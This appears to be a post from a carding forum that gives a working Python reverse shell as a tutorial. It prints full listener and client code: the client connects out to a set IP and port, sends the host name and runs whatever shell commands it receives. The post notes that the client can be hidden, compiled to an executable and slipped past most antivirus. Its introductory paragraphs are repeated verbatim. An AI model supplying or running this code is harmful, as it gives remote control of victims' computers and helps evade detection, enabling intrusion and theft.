Carding 4 Carders
Professional
I'll show you how to make a sample Python Reverse Shell The first thing to do is the server. You have to create a python script server and enter the following code in it (you can change anything you want in it).
Then we create a client.py with the following code:
You should enter the port and the IP of the listening port. You can also make the client hidden and compile it on an Executable, but I don't need that. What's interesting is that, this way, almost no antivirus software detects it.
All you have left to do is make and start the server and write a port, with which you can listen and start the client on one of your devices to test it.
Code:
import socket, os, sys
def socketCreate():
try:
global host
global port
global s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = ''
port = raw_input('Type the port for listening: ')
if port == '':
socketCreate()
port = int(port)
except socket.error as msg:
print 'Socket creation error: ' + str(msg[0])
def socketBind():
try:
print 'Binding socket at port %s'%(port)
s.bind((host,port))
s.listen(1)
except socket.error as msg:
print 'Socket binding error: ' + str(msg[0])
print 'Retrying...'
socketBind()
def socketAccept():
global conn
global addr
global hostname
try:
conn, addr = s.accept()
print '[!] Session opened at %s:%s'%(addr[0],addr[1])
print '\n'
hostname = conn.recv(1024)
menu()
except socket.error as msg:
print 'Socket binding error: ' + str(msg[0])
def menu():
while 1:
cmd = raw_input(str(addr[0])+'@' + str(hostname) + '> ')
if cmd == quit:
conn.close()
s.close()
sys.exit()
command = conn.send(cmd)
result = conn.recv(16834)
if result <> hostname:
print result
def main():
socketCreate()
socketBind()
socketAccept()
main()
Then we create a client.py with the following code:
Code:
import socket, os, subprocess
def connect():
os.system('cls')
global host
global port
global s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 4444 #the port to which it will connect
host = '192.168.0.100' #the IP to which it will connect
try:
print '[!] Trying to connect to %s:%s'%(host,port)
s.connect((host,port))
print '[!] Connection established'
s.send(os.environ['COMPUTERNAME'])
except:
print 'Could not connect'
def recieve():
recieve = s.recv(1024)
if recieve == "quit":
s.close
else:
proc2 = subprocess.Popen(recieve[0:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc2.stdout.read() + proc2.stderr.read()
args = 'otp: ' + stdout_value
send(args)
def send(args):
send = s.send(args)
recieve()
connect()
recieve()
s.close()
You should enter the port and the IP of the listening port. You can also make the client hidden and compile it on an Executable, but I don't need that. What's interesting is that, this way, almost no antivirus software detects it.
All you have left to do is make and start the server and write a port, with which you can listen and start the client on one of your devices to test it.